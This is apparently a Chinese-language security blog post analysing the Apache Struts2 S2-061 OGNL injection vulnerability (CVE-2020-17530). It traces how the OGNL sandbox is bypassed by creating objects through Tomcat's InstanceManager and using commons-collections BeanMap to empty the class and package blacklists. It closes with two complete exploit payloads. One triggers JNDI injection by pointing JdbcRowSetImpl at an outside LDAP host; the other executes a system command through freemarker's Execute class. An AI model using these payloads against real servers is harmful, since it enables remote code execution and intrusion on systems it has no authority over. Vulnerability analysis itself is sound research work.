Struts2 s2-061 Poc 分析

简介

Apache Struts2 框架是一个用于开发 Java EE 网络应用程序的 Web 框架。Apache Struts 于 2020 年 12 月 08 日披露 S2-061 Struts 远程代码执行漏洞（CVE-2020-17530），在使用某些 tag 等情况下可能存在 OGNL 表达式注入漏洞，从而造成远程代码执行，风险极大

分析

第一次比较认真的接触 Ognl 语言，下面分析一下 Poc 过程 环境使用 vulhub 的 s2-059 环境即可。但是需要修改一下，在 pom 中新增一个依赖

```
        <!-- https://mvnrepository.com/artifact/commons-colle
ctions/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.2</version>
        </dependency>
```

已知 Ongl 沙盒的限制如下

1. 无法 new 一个对象
2. 无法调用黑名单类和包的方法、属性
3. 无法调用静态方法
4. 无法直接执行命令
5. 无法调用方法属性非 public 的方法

ognl 没有限制的操作

1. 对象属性 setter/getter(public) 赋 / 取值，可以访问静态属

性。

2. 已实例类的方法调用 (OgnlContext 中的对象)，不允许调用静态方法

idea 中可以通过 ActionContext.actionContext.get() 去获取 ognl 的 context，方便我们调试。

2.1 绕过 new 创建对象

在 context 的 application 中，org.apache.tomcat.SimpleInstanceManager 的实例代码如下，可以实例化一个无参构造函数。

```
    @Override
    public Object newInstance(String className) throws Illega
lAccessException,
            InvocationTargetException, NamingException, Insta
ntiationException,
            ClassNotFoundException, NoSuchMethodException  {
        Class<?> clazz = Thread.currentThread().getContextCla
ssLoader().loadClass(className);
        return prepareInstance(clazz.getConstructor().newInst
ance());
    }
```

2.2 获取 ognl context

因为 ognl 的 securityMemberAccess 中，存放黑名单，我们需要将黑名单置空，以达到任意调用类的目的。

我们可以看一下 org.apache.commons.collections.BeanMap 这个类。这个类存在无参公开的构造方法，可以被上一步绕过限制创建对象使用。

该类将任意对象转换为类似 bean 的操作，通过 get/set 操作去调用对象的 getxxx 函数，setxxx 函数。

```
public Object get(Object name) {
    if ( bean != null ) {
        Method method = getReadMethod( name );

        return method.invoke( bean, NULL_ARGUMENTS );
```

而 ognl 的 stackValue 对象，恰好存在 getContext 方法，而 stackValue 我们也可以在 context 中访问

```
BeanMap b = new BeanMap();
b.setBean(ActionContext.actionContext.get().getValueStack());
BeanMap c = new BeanMap();

c.setBean(b.get("context"));
```

2.3 清空黑名单

同理，我们可以通过 beanMap 去调用以下方法以置空黑名单

```
    public void setExcludeProperties(Set<Pattern> excludeProp
erties) {
        this.excludeProperties = excludeProperties;
    }

    public void setAcceptProperties(Set<Pattern> acceptedProp
erties) {
        this.acceptProperties = acceptedProperties;
    }

    public void setExcludedClasses(Set<Class<?>> excludedClas
ses) {
        this.excludedClasses = excludedClasses;
    }



#beanMap.put('excludedClasses',#{})
```

2.4 利用

ognl 中，默认已经无法直接调用诸如 Runtime 等方法去执行命令，代码如下

```
                AccessibleObjectHandler.class.isAssignableFr
om(methodDeclaringClass) ||
                ClassResolver.class.isAssignableFrom(methodD
eclaringClass) ||
                MethodAccessor.class.isAssignableFrom(method
DeclaringClass) ||
                MemberAccess.class.isAssignableFrom(methodDe
claringClass) ||
                OgnlContext.class.isAssignableFrom(methodDec
laringClass) ||
                Runtime.class.isAssignableFrom(methodDeclari
ngClass) ||
                ClassLoader.class.isAssignableFrom(methodDec
laringClass) ||
                ProcessBuilder.class.isAssignableFrom(method
DeclaringClass) ||
```

```
                AccessibleObjectHandlerJDK9Plus.unsafeOrDesc
endant(methodDeclaringClass) )
```

但是，被实例化的类中调用上面的危险操作，并不受影响。

既然上一步我们已经置空黑名单，于是可以去找即存在无参构造函数，又可以命令执行的类。

```
public class Execute implements TemplateMethodModel {
    private static final int OUTPUT_BUFFER_SIZE = 1024;

    public Execute() {
    }

    public Object exec(List arguments) throws TemplateModelEx
ception {
        StringBuilder aOutputBuffer = new StringBuilder();
            String aExecute = (String)((String)arguments.get
(0));

            Process exec = Runtime.getRuntime().exec(aExecut
e);
            InputStream execOut = exec.getInputStream();
```

Poc

这个洞没那么严重，其实就是 s2-059 绕过，大家别想多

发散思维一下，这个 beanMap 类似于 fastjson 的命令执行。所以也可以构造一个 jndi 注入嘛 com.sun.rowset.JdbcRowSetImpl 也存在无参构造方法 DatasourceName 也可以通过 beamMap 去操作

```
    public void setDataSourceName(String var1) throws SQLExce
ption {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }
```

最后通过 getAutoCommit 触发 jndi 注入

```
public boolean getAutoCommit() throws SQLException {
    return this.conn.getAutoCommit();

}
```

jndi payload

```
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #app
lication['org.apache.tomcat.InstanceManager']).(#rw=#UnicodeS
ec.newInstance('com.sun.rowset.JdbcRowSetImpl')).(#rw.setData
SourceName('ldap://192.168.3.254:10086/UnicodeSec')).(#rw.get
DatabaseMetaData())}
```

命令执行 payload

```
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #app
lication['org.apache.tomcat.InstanceManager']).(#potats0=#Uni
codeSec.newInstance('org.apache.commons.collections.BeanMa
p')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBe
an(#stackvalue)).(#context=#potats0.get('context')).(#potats
0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emp
tySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats
0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).
(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#Unic
odeSec.newInstance('freemarker.template.utility.Execute')).(#
cmd={'whoami'}).(#res=#exec.exec(#cmd))}
```